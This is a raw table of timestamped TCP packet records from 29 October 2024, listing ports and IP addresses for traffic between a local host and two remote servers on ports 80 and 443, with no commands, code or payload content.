Oct 29, 2024 15:27:49.443902016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443909883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443917990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443936110 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443958044 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.444128990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444144011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444153070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444169044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444180012 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.444199085 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.444227934 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.444282055 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444292068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444305897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444314957 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444339991 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.444367886 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.444432974 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444441080 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444458961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444464922 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444483042 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.444511890 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.444583893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444593906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444601059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444612980 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444648981 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.444739103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444749117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444756031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444802046 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.444816113 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.444896936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444904089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444916964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444926023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.444952965 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.444983959 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445050955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445061922 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445064068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445070982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445081949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445089102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445103884 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445127010 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445205927 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445224047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445238113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445257902 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445286989 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445383072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445393085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445400000 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445405960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445413113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445436954 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445451975 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445481062 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445544004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445560932 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445564985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445578098 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445585966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445591927 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445595026 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445600033 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445612907 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445612907 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445646048 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445667982 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445700884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445712090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445722103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445729017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445740938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445746899 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445759058 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445791006 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445882082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445885897 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445893049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445899963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445905924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445920944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445925951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445929050 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445933104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445947886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.445960999 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.445980072 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.446033955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446043015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446053982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446089029 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.446101904 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.446182013 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446188927 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446198940 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446204901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446211100 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446217060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446233988 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.446264029 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.446341991 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446353912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446367025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446372986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446384907 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446391106 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446403027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446429014 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.446460009 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.446512938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446522951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446535110 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446542025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446547031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446553946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446569920 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.446594000 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.446707964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446759939 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.446952105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.446964025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447012901 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.447112083 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447120905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447127104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447133064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447144985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447166920 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.447166920 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.447181940 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.447264910 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447273970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447284937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447290897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447297096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447303057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447309017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447319984 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.447339058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447341919 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.447346926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447352886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447364092 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.447372913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.447386026 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.447407007 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.555351019 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555509090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555562973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555563927 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.555584908 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555587053 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.555604935 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555624962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555627108 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.555645943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555649996 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.555666924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555681944 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.555685043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555711985 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.555740118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555792093 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555804014 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.555804014 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.555826902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555838108 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555854082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555860996 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555876017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555883884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555892944 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.555896997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555922031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555932045 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.555938959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555948973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555957079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555969000 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.555973053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555983067 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.555986881 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.555989027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.556015968 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.556054115 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.582830906 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.583096027 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.583136082 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.583519936 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.583832979 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.583903074 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.584012032 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.593439102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593450069 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593508959 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.593585968 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593595028 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593604088 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593610048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593622923 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593628883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593636036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593638897 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.593642950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593656063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593662024 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593667030 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.593703032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593708992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593712091 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.593712091 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.593733072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593750954 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.593786001 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.593795061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593806982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593812943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593820095 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593844891 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.593863964 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.593873978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593879938 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.593883038 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593890905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593897104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593909025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593915939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593924999 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.593955040 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.593985081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.593991041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594003916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594008923 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594019890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594023943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594029903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594037056 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594041109 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594063997 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594084978 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594230890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594238043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594249964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594254017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594259024 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594266891 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594271898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594289064 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594309092 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594327927 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594398022 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.594408035 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.594468117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594482899 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594494104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594516993 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594547033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594623089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594630003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594636917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594641924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594655037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594670057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594680071 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594683886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594692945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594702005 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594707966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594721079 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594750881 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.594752073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594760895 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594803095 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594825983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594830990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594856977 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594863892 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594868898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594877958 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594880104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594888926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594903946 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594916105 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594939947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594950914 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.594981909 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.594997883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595043898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595078945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595083952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595107079 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595119953 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.595134974 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595181942 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.595196962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595207930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595215082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595221043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595259905 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595279932 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595284939 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.595284939 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595287085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595299959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595305920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595310926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595330954 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595359087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595362902 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595369101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595376015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595382929 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595416069 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595428944 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595451117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595459938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595467091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595474958 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595496893 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595526934 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595634937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595643997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595655918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595662117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595669031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595681906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595695019 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595696926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595705032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595710993 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595716000 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595752001 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595752954 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595781088 CET	49940	80	192.168.2.6	185.215.113.206
